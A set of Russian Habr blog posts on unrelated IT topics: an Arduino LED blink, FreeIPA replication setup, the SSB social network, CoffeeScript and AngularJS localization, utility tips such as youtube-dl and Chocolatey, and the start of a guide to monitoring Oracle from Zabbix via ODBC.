[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Nurked&utm_content=kloniruem_sami_svoimi_rukami) | https://habr.com/ru/post/686812/ | null | ru | null |
# Подготовка и запуск "Hello, World!"
В учебном пособии для любого языка программирования есть самый первый пример, каноническая программа вывода строки «Hello, World!» Поскольку Arduino — это не совсем язык программирования, а железка, к тому же (пока) без средств вывода текста, первым делом мы запрограммируем контроллер для управления миганием светодиода. Но для начала подготовим нашу минилабораторию и разложим необходимые инструменты.
**Фото 1.** Микроконтроллер Arduino Diecimila. Без него ничего не получится :)
**Фото 2.** Набор часовых отвёрток. Пригодится для разбирания гаджетов и выковыривания из них деталей.
**Фото 3.** Набор проводников-перемычек. При помощи них очень удобно собирать схемы на макетной плате без пайки.
**Фото 4.** Китайский мультиметр Noname. Подойдёт и советский стрелочный прибор, при условии, что вы умеете им пользоваться. Пригодится для проверки напряжения, надёжности контактов и прочих экспериментах.
**Фото 5.** Китайская макетная плата для быстрой сборки схем. Детали натыканы чтобы показать принцип использования. Ряды контактов соединены между собой.
**Фото 6.** USB-шнур необходим для соединения Arduino с компьютером.
Здесь я решил опустить технические подробности подключения и настройки устройства (о них будет в следующих постах), поэтому сразу выкладываю текст программы и видеозапись с результатом её работы.
`/* Blinking LED
* Created 1 June 2005
* copyleft 2005 DojoDave
\* arduino.berlios.de
\*
\* based on an orginal by H. Barragan for the Wiring i/o board
\*/
int ledPin = 13; // светодиод присоединён к порту 13
void setup()
{
pinMode(ledPin, OUTPUT); // режим порта устанавливаем на вывод (запись)
}
void loop()
{
digitalWrite(ledPin, HIGH); // включаем светодиод
delay(1000); // ждём секунду
digitalWrite(ledPin, LOW); // выключаем светодиод
delay(1000); // ждём секунду
}`
[ru.youtube.com/watch?v=m14QfYCduEU](http://ru.youtube.com/watch?v=m14QfYCduEU)
P.S. — Если кто-то знает, как вставлять видео с YouTube в хабратопик — дайте знать. Хабратеги youtube и video не помогают. | https://habr.com/ru/post/38047/ | null | ru | null |
# Rss grabber для DLE жжот
Вот такой интересный код можно встретить в HttpClient'e Rss Grabber'а для DLE
`while (true)
{
$this->errormsg = 'Connection failed (' . $errno . ')';
$this->errormsg .= ' ' . $errstr;
$this->debug ($this->errormsg);
if (true)
{
return false;
}
}`
мне так и не удалось разгадать тайный смысл этого инопланетного послания .)) | https://habr.com/ru/post/40907/ | null | ru | null |
# Социальная сеть без интернета
SSB - это децентрализованная offline-first социальная сеть. **Децентрализованная** - это значит, что в ней нет сервера, который можно заблокировать, или на котором админ может закрыть вам доступ. **Offline-first** означает, что всё происходит в первую очередь на вашем устройстве.
Интернет-шатдаун ломает SSB не так сильно, как, например, Facebook. Вы можете продолжать читать и писать без доступа в интернет. Для синхронизации достаточно нескольких минут.
Как попасть в SSB?
------------------
Для этого нужно скачать приложение:
* для Windows/Mac/Linux - [**Patchwork**](https://github.com/ssbc/patchwork/releases)
* для Android/iOS - **Manyverse** (доступен в Google Play, F-Droid, App Store).
Начните с установки на компьютер, т.к. SSB работает медленно, и на телефоне вам покажется, что не работает вообще. Patchwork - устаревший клиент, его разработка заморожена год назад. Я пишу именно о нём, т.к. на настоящий момент он всё умеет и остаётся самым простым и стабильным.
Установите (или распакуйте) то, что скачали, и запустите Patchwork. Он предложит вам создать профиль: написать ваше имя, поставить аватар и добавить краткую информацию о себе. Это делать не обязательно, можно нажать "Cancel" и вернуться к настройке профиля позже. Указывать ФИО и ставить свою паспортную фотографию прямо сразу не стоит, т.к. удалить что-то из SSB невозможно. Потом поставите, если сочтёте нужным.
Создание профиляНажав на "Cancel" вы останетесь один на один с пустой лентой. Ни ваших, ни чьих-то чужих постов там нет, т.к. вы ничего не писали, и ни с кем не синхронизировались.
Ваша пустая лентаВы можете написать ваше первое сообщение в вашу публичную ленту прямо в этом поле ввода "Write a public message".
Первое сообщениеПри нажатии кнопки "Preview & Publish" вы сможете подтвердить запись сообщения в ленту ("Confirm") или вернуться к редактированию ("Cancel"). Нажимая "Confirm", вы сохраняете сообщение навсегда. О невозможности удалить или отредактировать вас там, внизу окна снова предупреждают.
Первое сообщение сохраненоВ сообщениях можно использовать хеш-теги. Тег `#new-people` означает, что вы недавно пришли и готовы общаться. На него подписаны многие, и вас заметят через некоторое время. Где-то через день-два. Это не твиттер и не фейсбук, здесь всё на порядок медленнее. Если хотите общаться на русском языке, то это можно сообщить тегом `#russian` или поискать по нему других пользователей.
#new-peopleСейчас вас и ваш единственный пост никто не видит, поскольку вы ни с кем не соединены. SSB - invite-only сеть, поэтому вам нужен инвайт на чей-то узел. Нет, это не значит, что ваша учётная запись будет привязана к чужому узлу. Подключиться можно к многим узлам одновременно.
В SSB узлы бывают двух типов: пабы (ssb-pub) и румы (ssb-room). **Пабы** хранят копию вашей ленты. Это удобно для ваших подписчиков: они могут получить новые сообщения, не пересекаясь с вами в онлайне. Паб - это ваш робот-подписчик, который всегда на связи. Чтобы скачать с него ваши новые записи, авторизация не требуется.
**ssb-room** - ничего не хранит и ничего не раздаёт. Он создаёт туннель между вашим устройством и другими пользователями, которые у него авторизовались. Через ssb-room вы можете обменяться обновлениями лент так, будто бы вы находитесь в одной Wi-Fi сети.
Оба типа узлов бывают публичные и частные. На [публичных](https://github.com/ssbc/ssb-server/wiki/Pub-Servers) вы можете получить инвайт прямо сейчас. Частные вы можете установить сами для себя, семьи и друзей на любой VPS с линуксом.
Получив инвайт-код, нажмите на "+ Join server", скопируйте код в поле ввода и нажмите "Redeem invite". Если инвайт-код от одного узла не сработал, то возьмите другой. Если всё пройдёт хорошо, то начнётся загрузка лент других пользователей с этого узла. Вы кого-то увидите и сможете поискать по вашей локальной копии сети (глобального поиска нет). Загрузка и индексация займут минут 10 и около гигабайта на диске.
Синхронизация началась, там кто-то есть!Теперь слева вверху у вас список недавно упомянутых хеш-тегов (Active channels), ниже - список установленных соединений и пользователей, которые недавно были замечены в сети, а в основной части экрана - записи о том, на кого ещё недавно подписался тот паб, который выдал вам инвайт. Вы не видите ничего интересного потому, что в данный момент вы подписаны только на паб, а паб - это робот. Он не пишет сам, а только принимает в друзья. Кликнув на любой из квадратов, вы увидите ленту записей какого-то из новых пользователей.
Если синхронизация завершилась, вы можете отключить интернет, читать загруженное и оставлять комментарии. Все действия происходят локально, кроме самой синхронизации. Она начнётся автоматически, как только появится связь с любым другим компьютером, где запущен клиент SSB (Patchwork, Manyverse, ssb-room, ssb-pub, ...).
Как общаться в SSB?
-------------------
По умолчанию ваша лента состоит из записей ваших друзей. Нажимайте кнопку "Follow" в профилях заинтересовавших вас пользователей, чтобы было кого читать. При нажатии "Follow" возобновляется синхронизация: ядро начинает скачивать профили друзей вашего нового друга. Локальная копия сети включает ленты друзей и друзей друзей, чтобы вы могли расширять ваш круг общения.
Если вы оставляете комментарий, то упомяните в нём ник того, кому он адресован. Не все клиенты умеют предупреждать о появлении нового ответа, но уведомления об упоминании ника есть везде. Чтобы вставить в текст комментария ник собеседника, нажмите собаку и подождите - Patchwork предложит поиск по никам и вставит ник в правильном формате.
В SSB **нет модератора** с плюсомётом. Модерацией занимается каждый для себя. Если вы не хотите видеть записи и комментарии какого-то пользователя в своей ленте, то поставьте в его профиле "Options/Ignore" (по умолчанию там "Listen"). Если вы считаете, что посты другого пользователя неприемлимы, и его должны заблокировать все ваши друзья, то поставьте "Options/Block". При этом у ваших друзей в ленте появится сообщение, что вы его заблокировали. Друзья смогут последовать вашему примеру. Или не последовать. В обоих случаях вы больше не увидите ни его записей, ни его комментариев. Но это не помешает ему писать комментарии к вашим записям. Просто вы не будете их видеть.
Как попасть в SSB с телефона?
-----------------------------
Если на комьютере у вас уже всё работает, то установите Manyverse на телефон (он есть в Google Play, F-Droid, App Store). Это другой клиент с тем же протоколом. Не стоит пытаться скопировать на телефон ту же учётную запись, что и на компьютере. Создайте новую и сошлитесь в профилях друг на друга - так делают многие пользователи. Если попытаться использовать один и тот же профиль на двух устройствах, то рано или поздно синхронизация сломается.
Первая синхронизация на телефоне может занять несколько часов. В это время телефон лучше оставить на зарядке с включённым экраном, т.к. Manyverse не работает в фоновом режиме. Уведомлений в фоновом режиме тоже не будет.
Patchwork, Manyverse и другие реализации SSB видят друг друга находясь одной локальной сети и могут синхронизировать свои локальные базы не используя большой интернет. Для этого их достаточно запустить. Manyverse при этом не должен засыпать, т.к. тогда он не будет слушать сеть.
Patchwork соединяется со всеми узлами SSB, до которых он может дотянуться. Manyverse соединяется только с пабами и румами, с которыми вы дружите. Через румы он может соединиться с другими вашими друзьями.
Как установить свой ssb-{pub,room}?
-----------------------------------
[ssb-pub](https://handbook.scuttlebutt.nz/guides/pubs/setup-a-pub)
[ssb-room](https://github.com/ssb-ngi-pointer/go-ssb-room/blob/master/docs/deployment.md)
Где задавать вопросы про SSB?
-----------------------------
В самом SSB с тегом `#ssb` и тегом того клиента, про который вы спрашиваете (`#patchwork`, `#manyverse`, `#patchfox`, ...) или прямо здесь. | https://habr.com/ru/post/655155/ | null | ru | null |
# Настройка репликации во FreeIPA 4.4 с domain level 1
У нас в компании для организации и управления доступами для Linux-серверов
используется такой сервис как FreeIPA. FreeIPA — это вполне полноценная замена AD для Linux-систем от RHEL. В новой версии появились уровни доменов и был переработан процесс настройки репликации. Так как инструкций вменяемого вида в рунете найти не удалось, я решил написать собственную.
Для начала нам понадобится два сервера с CentOS 7. Сервера будут такие:
```
ipamaster.org.lan ip 192.168.10.23
ipareplica0.org.lan ip 192.168.10.123
```
На каждом сервере вносим в /etc/hosts адреса мастера и реплики. В нашем случае это:
```
192.168.10.23 ipamaster.org.lan
192.168.10.213 ipareplica0.org.lan
```
Дальше на мастере устанавливаем необходимые пакеты. В нашем случае мы используем сервера FreeIPA как DNS-сервера. Поэтому устанавливем и пакет DNS-сервера:
```
yum -y install ipa-server bind bind-dyndb-ldap ipa-server-dns
```
После установки пакетов необходимо установить сам сервер FreeIPA. Для автоматизации установки ipa-server-install поддерживает множество ключей, которые позволяют в автоматическом режиме ответить на все вопросы инсталлятора. Мы же в данный момент пройдёмся руками по каждому полю с описанием. Так же ничего не мешает выполнить ipa-server-install -h и составить нужный набор ключей.
Итак установка сервера:
```
ipa-server-install --setup-dns --mkhomedir
```
Ключ --setup-dns говорит о том, что мы будем использовать DNS-сервер; ключ --mkhomedir нужен, чтобы на клиентах для каждого пользователя автоматически создавалась home директория.
Далее отвечаем на вопросы.
**1.** Имя хоста должно быть прописано в хост и резолвится. Оставляем как есть.
```
Server host name [ipamaster.org.lan]:
```
**2.** Доменное имя тоже оставляем как есть.
```
Please confirm the domain name [org.lan]:
```
**3.** Realm name тоже без изменений.
```
Please provide a realm name [org.lan]:
```
**4.** Пароль для менеджмента лдап-директорий нужен сложный. И не потерять.
```
Directory Manager password: q1w2e3r4t5y6
Password (confirm): q1w2e3r4t5y6
```
**5.** Пароль администратора самого сервиса.
```
IPA admin password: 1234567890
```
**6.** Указываем dns forwarders, к примеру, на гугловые сервера. Чтобы закончить указывать форвардеры, достаточно в пустой строке нажать ENTER.
```
Do you want to configure DNS forwarders? [yes]:
Do you want to configure these servers as DNS forwarders? [yes]:
All DNS servers from /etc/resolv.conf were added. You can enter additional addresses now:
Enter an IP address for a DNS forwarder, or press Enter to skip: 8.8.8.8
DNS forwarder 8.8.8.8 added. You may add another.
Enter an IP address for a DNS forwarder, or press Enter to skip: 8.8.4.4
DNS forwarder 8.8.4.4 added. You may add another.
Enter an IP address for a DNS forwarder, or press Enter to skip:
Checking DNS forwarders, please wait…
```
**7.** Разрешаем реверс зону.
```
Do you want to search for missing reverse zones? [yes]:
Do you want to create reverse zone for IP 192.168.10.23 [yes]:
Please specify the reverse zone name [10.168.192.in-addr.arpa.]:
Using reverse zone(s) 10.168.192.in-addr.arpa.
```
**8.** Дальше нам выводят данные для проверки. Проверяем, продолжаем.
```
The IPA Master Server will be configured with:
Hostname: ipamaster.org.lan
IP address(es): 192.168.10.23
Domain name: org.lan
Realm name: ORG.LAN
BIND DNS server will be configured to serve IPA domain with:
Forwarders: 8.8.8.8, 8.8.4.4
Forward policy: only
Reverse zone(s): 10.168.192.in-addr.arpa.
Continue to configure the system with these values? [no]: yes
```
Начинается довольно долгий процесс установки. Одна из самых долгих частей это генерация сертификатов, так что можно сходить попить чаю.
В финале установки нам покажут какие порты используются. Настраиваем фаерволл, чтобы он принимал соединения на этих портах. В нашем случае тестовое окружение и все друг другу доверяют.
```
1. You must make sure these network ports are open:
TCP Ports:
* 80, 443: HTTP/HTTPS
* 389, 636: LDAP/LDAPS
* 88, 464: kerberos
* 53: bind
UDP Ports:
* 88, 464: kerberos
* 53: bind
* 123: ntp
```
Можем зайти в веб-интерфейс, проверить работу.
Убедились, что всё работает. Теперь переходим к повышению уровня домена. Нам необходимо пройти по вкладкам IPA SERVERS → Topology. Где нас сразу предупреждают, что СА-серверов должно быть больше одного.
Отвечаем ОК. И проверяем уровень домена на вкладке Domain Level. Если это свежая установка, он по умолчанию будет 1.
ВНИМАНИЕ! Если вы это делаете на проде, то повышение уровня домена без предварительной подготовки может всё сломать. Делайте это только в том случае, когда понимаете зачем и как.
После этих операций переходим к настройки реплики. И вот тут начинаются отличия от старых механизмов. Если раньше нужно было генерировать ключи, переносить на реплику и делать множество телодвижений, то теперь всё значительно проще.
Итак проверяем что реплика берёт днсы с мастера.
```
cat /etc/resolv.conf
search org.lan
nameserver 192.168.10.23
```
Теперь устанавливаем ipa-client.
```
yum -y install ipa-client ipa-server-dns
```
После этого устанавливаем и настраиваем клиента. Тут такая же история как с сервером — есть куча ключей для автоматизации, поэтому выполняем.
```
/usr/sbin/ipa-client-install -d --mkhomedir --domain=org.lan --server=ipamaster.org.lan --realm=ORG.LAN --principal=admin --password=1234567890 --enable-dns-updates -U
```
После этого хост должен появиться в веб-интерфейсе.
Дальше переходим к настройке репликации. Выполняем.
```
Ipa-replica-install
```
У нас попросят пароль админа. Вводим, жмем ENTER.
```
WARNING: conflicting time&date synchronization service 'chronyd' will be disabled in favor of ntpd
Password for admin@ORG.LAN:
```
Далее дожидаемся установки и настройки репликации. После завершения можно зайти на [ipareplica0.org.lan](https://ipareplica0.org.lan) там в IPA SERVERS → Topology → Topology Graph мы увидим, что реплика появилась и реплицируется только доменная часть.
Но мы также помним про назойливое упоминание, что СА-сервер один и что нам нужен резервный днс. Переходим к настройке днс-сервера на реплике.
```
Ipa-dns-install
```
И по аналогии с мастером разрешаем форвардеров. Если вдруг наша реплика находится в другом регионе, можно указать другие форвардеры.
После этого переходим к установке СА сервера.
```
Ipa-ca-install
```
Тут у нас спросят наш Directory Manager password. Вы ведь его ещё не потеряли?
```
Directory Manager (existing master) password: q1w2e3r4t5y6
```
Это займет довольно много времени, поэтому ждём. После завершения идём на любой веб-интерфейс и проверяем топологию. Пропало назойливое сообщение о том, что СА в единственном экземпляре. И появилась новая связь в графике топологий.
Как видим, теперь всё относительно отказоустойчиво. Масштабирование в новой версии стало гораздо более простым и понятным.
Теперь пару слов о том, что стоит не забывать мониторить. Мы мониторим запущенные процессы, открытые порты и самое главное мониторим срок действия корневого СА-сертификата. Потому как в случае, если он прострочится, может возникнуть куча ручной волокиты которая никому не нужна.
Ну и ссылки на официальную документацию:
[www.freeipa.org/page/V4\_Designs](https://www.freeipa.org/page/V4_Designs)
[www.freeipa.org/page/V4\_Proposals](https://www.freeipa.org/page/V4_Proposals) | https://habr.com/ru/post/325546/ | null | ru | null |
# Coffeescript — Javascript в силе Ruby
[CoffeeScript](http://bit.ly/6h5JKO) — язык, чтобы писать на JavaScript с более удобным синтаксисом.
Краткий пример на CoffeeScript (с jQuery):
> `jQuery($ =>
>
> notified: false
>
> $('a').click( =>
>
> if notified
>
> true
>
> else
>
> $('.alert').show()
>
> false..
>
> ).
>
> )`
Этот код будет транслирован в:
> `jQuery(function($) {
>
> var notified = false;
>
> $('a').click(function() {
>
> if (notified) {
>
> return true;
>
> } else {
>
> $('.alert').show()
>
> return false;
>
> }
>
> })
>
> })`
#### Введение
JavaScript — отличный язык: хорошая идеология прототипного ООП, отличные виртуальные машины типа V8 и прекрасное будущее короля веб-клиентов. С распространением HTML 5, он начнёт теснить Flash и Silverlight. И недавно JS начали рассматривать и как серверный язык (например, [node.js](http://nodejs.org/)).
Вот только в современном мире синтаксического сахара код JavaScript немного тяжёл. При каждой лямбде неправильно писать длинную строку `function() { … }`, не хватает switch-when и foreach для массивов1. После Ruby и Python даже скобки вокруг условия в `if` или обязательные `return` кажется лишними символами.
Вот бы тот же JavaScript, только с немного другим синтаксисом. И успешные примеры смены синтаксиса у нас есть: [Haml](http://haml-lang.com/) и [Sass](http://sass-lang.com/) для HTML и CSS, соответственно. Они не скрывают от на вёрстку (как ужасный WebForms), а просто позволяют записывать этот же код с немного другим синтаксисом, но мы постоянно контролируем результат трансляции.
#### CoffeeScript
CoffeeScript для JavaScript, как Haml для HTML. Позволяет записывать тот же код, немного по другому:
##### Операторы
У операторов if и while убраны лишние символы:
> `while a < 20
>
> a += 1.`
А так же есть короткая форма для одной строки
> `student.passed(exam.subject) if exam.mark > 2`
##### Лямбда
Упрощает синтаксис лямбды. В CoffeeScript, так же как и в Ruby, любая функция возвращает последнее значение.
> `square: x =>
>
> x \* x.
>
> square(2)`
##### Массивы
Позволяет работать с массивами как в Python:
> `# В codes будет ['toast', 'cheese', 'wine']
>
> codes: food.toLowerCase() for food in ['Toast', 'Cheese', 'Wine'].
>
> # Выделить чётные ячейки таблицы
>
> highlight(row) for row, i in table if i % 2 == 0.`
И позволяет проще получать подстроку или часть массива:
> `"abcdef"[0..3]
>
>
>
> numbers: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>
> three\_to\_six: numbers[3..6].`
Более подробно можно посмотреть на [сайте CoffeeScript](http://bit.ly/6h5JKO).
#### Инструменты
Транслятор CoffeeScript написан на Ruby и распространяется через RubyGems:
```
gem install coffee-script
```
С помощью него можно транслировать ваши `.coffee` файлы в обычный JavaScript-код:
```
coffee application.coffee
```
Чтобы не забыть оттранслировать файл и не искать призрачную ошибку, можно указать автоматически транслировать все `.coffee` файлы при изменении:
```
coffee -w *.coffee
```
Установив [Narwhal](http://narwhaljs.org/) можно экспериментировать с CoffeeScript в интерактивной консоли или выполнять coffee-скрипты вне браузера.
#### Примечания
1 — В JavaScript 1.6 есть `Array#forEach()`, а в jQuery есть `$.each()`, но они работают медленнее и длинная лямбда всё равно их губит. | https://habr.com/ru/post/79586/ | null | ru | null |
# Локализация с AngularJS
Добрый день, уважаемые Хабражители.
AngularJS — отличный Framework для создания ваших сайтов. На Хабре уже достаточно много про него написано, но почему то ни разу не затрагивалась тема локализации приложений. Тем не менее, поддержка локализации в нем есть и сегодня мы попробуем с ней разобраться.
Существует несколько способов локализации и мы рассмотрим несколько из них.
#### Способ 1. Как в документации
В документе [i18n and l10n](https://docs.angularjs.org/guide/i18n) указано, что Angularjs поддерживает отображение дат, чисел и валют в том виде, в котором их привыкли видеть пользователи соответствующих стран. Это означает, что при создании интернет магазина мы можем один раз написать `{{amount | currency}}`, подключить необходимую локаль и не думать о том, как будет выглядеть сумма покупки для России и США. AngularJS сам сделает это за вас:
> 1 234,56 руб — в России
>
> $1,234.56 — в США
Аналогичная ситуация и с датами. Можно написать {{currentDate | date}} и мы увидим:
> 23 сент. 2014 г. — в России
>
> Sep 23, 2014 — США
Если же необходимо использовать обе валюты на одной странице, то можно временно переопределить обозначение, указав явно единицу измерения `{{amount | currency:"USD$"}}`.
**Пример работы с валютами и датами**
```
angular.module('testApp', [])
.controller('mainController', ['$scope', function($scope){
$scope.amount = 1234.56;
$scope.currentDate = new Date();
}])
Стандартное обозначение валюты: {{amount | currency}}
Определяем своё обозначение валюты (USD$): {{amount | currency:"USD$"}}
Текущая дата: {{currentDate | date}}
``` | https://habr.com/ru/post/237867/ | null | ru | null |
# Советы и секреты №2
#### Единый интерфейс для всех мессенджеров, самый удобный способ скачивать видео с YouTube, пакетный менеджер для Windows в стиле линуксового apt-get, встроенный калькулятор Google
**Существует ли универсальный фонтенд, чтобы обмениваться сообщениями в WhatsApp, Messenger, Skype, Slack, Telegram, не устанавливая каждую программу?**
Конечно, ведь работать с 20-30 мессенджерами по отдельности не очень комфортно. Гораздо удобнее собрать их в едином интерфейсе. Есть несколько универсальных решений для этого.
Во первых, свободная и бесплатная программа [Rambox](http://rambox.pro/) с открытым исходным кодом ([репозиторий на Github](https://github.com/saenzramiro/rambox)) под Windows, Linux и Mac OS.
Rambox поддерживает 33 сервиса, в том числе мессенджеры и сервисы электронной почты:
* WhatsApp
* Facebook Messenger
* Skype
* Slack
* Hangouts
* Telegram
* WeChat
* Gmail
* HipChat
* ChatWork
* GroupMe
* Grape
* Gitter
* Steam
* Discord
* Noysi
* Outlook
* TutaNota
* HushMail
* BearyChat
* Sync
* Wire
* Rocket Chat
* Missive
* Yahoo! Mail
* Office 365
* Dasher
* DingTalk
* FlowDock
* Mattermost
* Voxer
* Yahoo! Messenger
* Mysms
* ICQ
* TweetDeck
* Zinc
* Freenode
* MightyText
Поддерживается синхронизация между разными компьютерами, режим «Не беспокоить», сворачивание в трей. Для каждого сервиса по отдельности можно включить/отключить звуки и уведомления.
В Rambox допускается добавлять и произвольные сервисы, не перечисленные выше. Но только если они доступны через веб (по URL).
Ещё один универсальный мессенджер — [Franz](http://meetfranz.com/).
Он тоже работает под Windows, Linux и Mac OS. Хотя поддерживает немного меньше сервисов (23), но почти всё основное здесь есть:
* WhatsApp
* Facebook Messenger
* Skype
* Slack
* Hangouts
* Telegram
* WeChat
* Grape
* DingTalk
* Gmail
* HipChat
* ChatWork
* GroupMe
* TweetDeck
* FlowDock
* Mattermost
* Rocket Chat
* Mysms
* Gitter
* Gitter
* Discord
* Steam
* Outlook
**Как узнать, что браузер продолжает обмениваться данными с сервером после загрузки веб-страницы?**
Для этого удобно использовать расширение [Netmonitor](https://github.com/awalGarg/netmonitor) для [Chrome](https://chrome.google.com/webstore/detail/netmonitor/jekcpjegemgakiacfgiplacomhabclce) (в Firefox устанавливается через [Chrome Store Foxified](https://addons.mozilla.org/en-US/firefox/addon/chrome-store-foxified/)).
Для каждой страницы Netmonitor выводит индикатор, сколько сделано запросов.
Вот веб-страница, которая продолжает фоновую активность после загрузки. На активность указывает красная шестиконечная пиктограмма позади общего количества сделанных запросов (93).
А вот простая веб-страница, которая сделала 20 запросов и полностью прекратила активность.
Автор говорит, что написал это расширение, чтобы исправить недостаток в большинстве браузеров. Те показывают анимированный значок для процесса загрузки страницы только во время её первоначальной загрузки. Дальнейшая фоновая активность проходит незаметно для пользователя, это неправильно.
**Как проще всего скачать видео с YouTube?**
Уже много лет наилучшим способом для этого является консольная программа [youtube-dl](http://rg3.github.io/youtube-dl/), которая работает под Windows и Linux.
Из командной строки запускаем программу с параметром `-F`, чтобы увидеть список возможных форматов для загрузки.
`youtube-dl -F http://www.youtube.com/watch?v=...`
После этого выбираем нужный формат и запускаем скачивание.
`youtube-dl -f <код формата> http://www.youtube.com/watch?v=...`
Можно скачивать несколько видеороликов одной командой.
`youtube-dl http://www.youtube.com/watch?v=... http://www.youtube.com/watch?v=...`
Если не указать формат, то видеоролик скачивается в стандартном формате с нормальным качеством.
Программа скачивает видео с YouTube и ещё [нескольких сотен сайтов](http://rg3.github.io/youtube-dl/supportedsites.html), имеет огромное множество настроек: поддерживает плейлисты, скачивание по фильтрам, прокси, подделку IP-адреса клиента, запись субтитров в отдельный файл и многое другое.
**Можно ли автоматически обновлять под Windows все установленные программы, как это делают пакетные менеджеры под Linux вроде apt-get / rpm / brew?**
Неплохим решением будет [Chocolatey](https://chocolatey.org/) — отличный пакетный менеджер под Windows. Как и `apt-get`, он самостоятельно скачивает и устанавливает программы одной командой из консоли. Так, чтобы установить последние версии стандартного пакета программ для Windows, вы просто запускаете батник:
`choco install 7zip
choco install firefox
choco install adblockplus-firefox
choco install GoogleChrome
choco install adblockpluschrome
choco install opera
choco install adblockplusopera
choco install git
choco install github
choco install notepadplusplus
choco install SublimeText2
choco install vlc`
И идёте пить кофе, пока ваши коллеги скачивают и устанавливают каждую программу вручную.
И самое вкусное, для обновления всех программ запускаете:
`choco upgrade all`
или
`choco upgrade all -y`
*(чтобы автоматически соглашаться на все подтверждения об апгрейде)*
Как говорится, получайте удовольствие.
Кстати, есть версия Chocolatey с графическим интерфейсом — [ChocolateyGUI](https://chocolatey.org/packages/ChocolateyGUI) (она функционирует только в версиях от Windows 7 и выше).
Chocolatey [нормально регистрируется](http://www.hanselman.com/blog/AptGetForWindowsOneGetAndChocolateyOnWindows10.aspx) как пакетный менеджер под Windows 10 в агрегаторе пакетных менеджеров OneGet.
**Что умеет калькулятор Google?**
Если ввести в поисковую строку Google математическое выражение, то калькулятор вычислит результат.
Поисковый запрос [2^10 / 4 + 1](http://www.google.com/search?q=%28%282%5E10%29+%2F+4%29+%2B+1) возвращает 257.
Многие не знают всех возможностей калькулятора Google. Например, что он понимает русский язык.
Калькулятор Google выдаёт значения пи, e, скорости света и всех остальных констант, он производит с ними вычисления. Кроме того, калькулятор знает функции.
Поисковый запрос [log(16)](http://www.google.com/search?q=log%2816%29) возвращает 4 (получается, по умолчанию он считает по основанию 2).
Считать по произвольному основанию можно так: [log 1024 / log 4](http://www.google.com/search?q=log+1024+%2F+log+4) возвращает 5.
Поисковый запрос [cos(pi)](http://www.google.com/search?q=cos%28pi%29) возвращает -1.
Калькулятор умеет переводить одни метрические единицы в другие.
[3 килограмма в фунтах](https://www.google.com/search?q=3+килограмма+в+фунтах&oq=3+килограмма+в+фунтах) = 6,61387.
[5 дюймов в сантиметрах](https://www.google.com/search?q=5 дюймов в сантиметрах) = 12,7.
[25 миль в километрах](https://www.google.com/search?q=25+миль+в+километрах) = 40,2336.
Конечно, и здесь можно производить математические операции.
[100 километров в час / 2,8 секунды](https://www.google.com/search?q=100+километров+в+час+%2F+2%2C8+секунды) = 9,92063492 м / c2
Калькулятор конвертирует цифры в разные системы счисления.
[15 в hex](https://www.google.com/search?newwindow=1&q=15+в+hex) = 0xF
[12\*5 в binary](https://www.google.com/search?q=12*5 в binary) = 0b111100
Калькулятор умеет даже переводить римские цифры в арабские. Например, в десятичные.
[DCLXVI in decimal](https://www.google.com/search?q=DCLXVI in decimal) = 666
А теперь попробуем объединить всё вместе.
[Ответ на главный вопрос жизни, вселенной и всего такого \* пи \* e \* число Авогадро \* скорость света](https://www.google.by/search?q=Ответ на главный вопрос жизни, вселенной и всего такого * пи * e * число Авогадро * скорость света) = 6.47537997 × 1034 м / с.
[Советы и секреты №1](https://geektimes.ru/post/278286/)
[Советы и секреты №3](https://geektimes.ru/post/279230/) | https://habr.com/ru/post/372491/ | null | ru | null |
# Мониторинг базы данных Oracle через ODBC в Zabbix
В статье будет рассмотрена возможность мониторинга база данных по средствам встроенной в Zabbix поддержке ODBC, c использованием автообнаружения объектов.
Для начала рассмотрим доступные для Zabbix методы мониторинга БД, которые использовались до поддержки ODBC.
Так как статья про мониторинг Oracle, то и будем смотреть в этом разрезе.
1. Использования скрипта [zabora](https://www.zabbix.com/wiki/howto/monitor/db/orcale/oracle)
В принципе спкрипт всем хорош, но главное, что меня не устраивало: скрипт лежит на каждой машине с БД, и при добавление запроса приходилось идти на эту машину и редактировать конфиг.
Поддерживает параметры запросов, то есть можно передавать параметр в ключ и на основе его делать запрос к БД.
То есть один и то же запрос может быть использован для сбора метрик разных объектов.
2. [Orabbix](http://www.smartmarmot.com/wiki/index.php/Orabbix) или [DBforBIX](http://www.smartmarmot.com/product/dbforbix/)
Тоже хороший продукт, является демоном на java, создает несколько соединений и поддерживает автоматическое добавление новых запросов в конфиг без перезагрузки. Работает как Zabbix trapper, то есть сам с определенной периодичностью посылает данные в Zabbix сервер.
Недостатки:
— не поддерживает параметры, то есть на каждую метрику создается отдельный запрос.
Представьте у вас 10 tablespace'ов и вам нужно снимать с каждого 4 параметра — получается 40 запросов в файле. Интервал запроса получение метрики, так же выставляется в конфиге, что не очень удобно.
Попробовав все эти решения решил использовать поддержку ODBC в Zabbix, и вот почему:
* запрос к БД — стандартный ключ Zabbix, из этого следует, что мы настраиваем такие параметры как частота опроса в самом интерфейсе
* редактирование запросов в интерфейсе Zabbix
* позволяет использовать макросы
* самое главное позволяет автоматизировать процесс добавления новых объектов на мониторинг
Сначала опишу, что имеется в хозяйстве:
1. 6 баз данных Oracle — 1 БД — 1 сервер + 1 резервный сервер под БД итого: получается 12 серверов.
2. Сервера для каждой БД объединены в кластер — итого 6 кластеров
3. На каждом сервера установлен Zabbix agent для AIX
4. На каждом сервере по скрипту zabora
Конфигурация Zabbix мониторинга:
1. Zabbix сервер на CentOS 6.5 + TokuDB — 20 000 элементов — 380 nps (новых значений в секунду)
2. Специально для мониторинга БД, был поднят Zabbix Proxy, так как запросы могут выполнятся достаточно долго, то не хотелось бы из-них подвешивать процессы сбора данных основного Zabbix'a — тоже CentOS 6.5 + TokuDB
В этой статье я не буду касаться настройки TokuDB, так как планирую еще одну статью почему мы перешли с InnoDB на TokuDB, и что нам это дало.
#### Установка Oracle Instant Client
Сначала необходимо установить Oracle Instant Client на машину с Zabbix Proxy:
У нас используется Oracle 11g, поэтому скачиваем RMP пакеты соответствующей версии с [сайта Oracle](http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html).
Нам необходимы:
* oracle-instantclient11.2-basic-11.2.0.4.0-1.x86\_64.rpm — основные библиотеки
* oracle-instantclient11.2-jdbc-11.2.0.4.0-1.x86\_64.rpm — драйвера для java, для нашей задачи не нужны, но в хозяйстве пригодиться :)
* oracle-instantclient11.2-sqlplus-11.2.0.4.0-1.x86\_64.rpm — клиент SQLplus
* oracle-instantclient11.2-odbc-11.2.0.4.0-1.x86\_64.rpm — библиотека для работы через ODBC
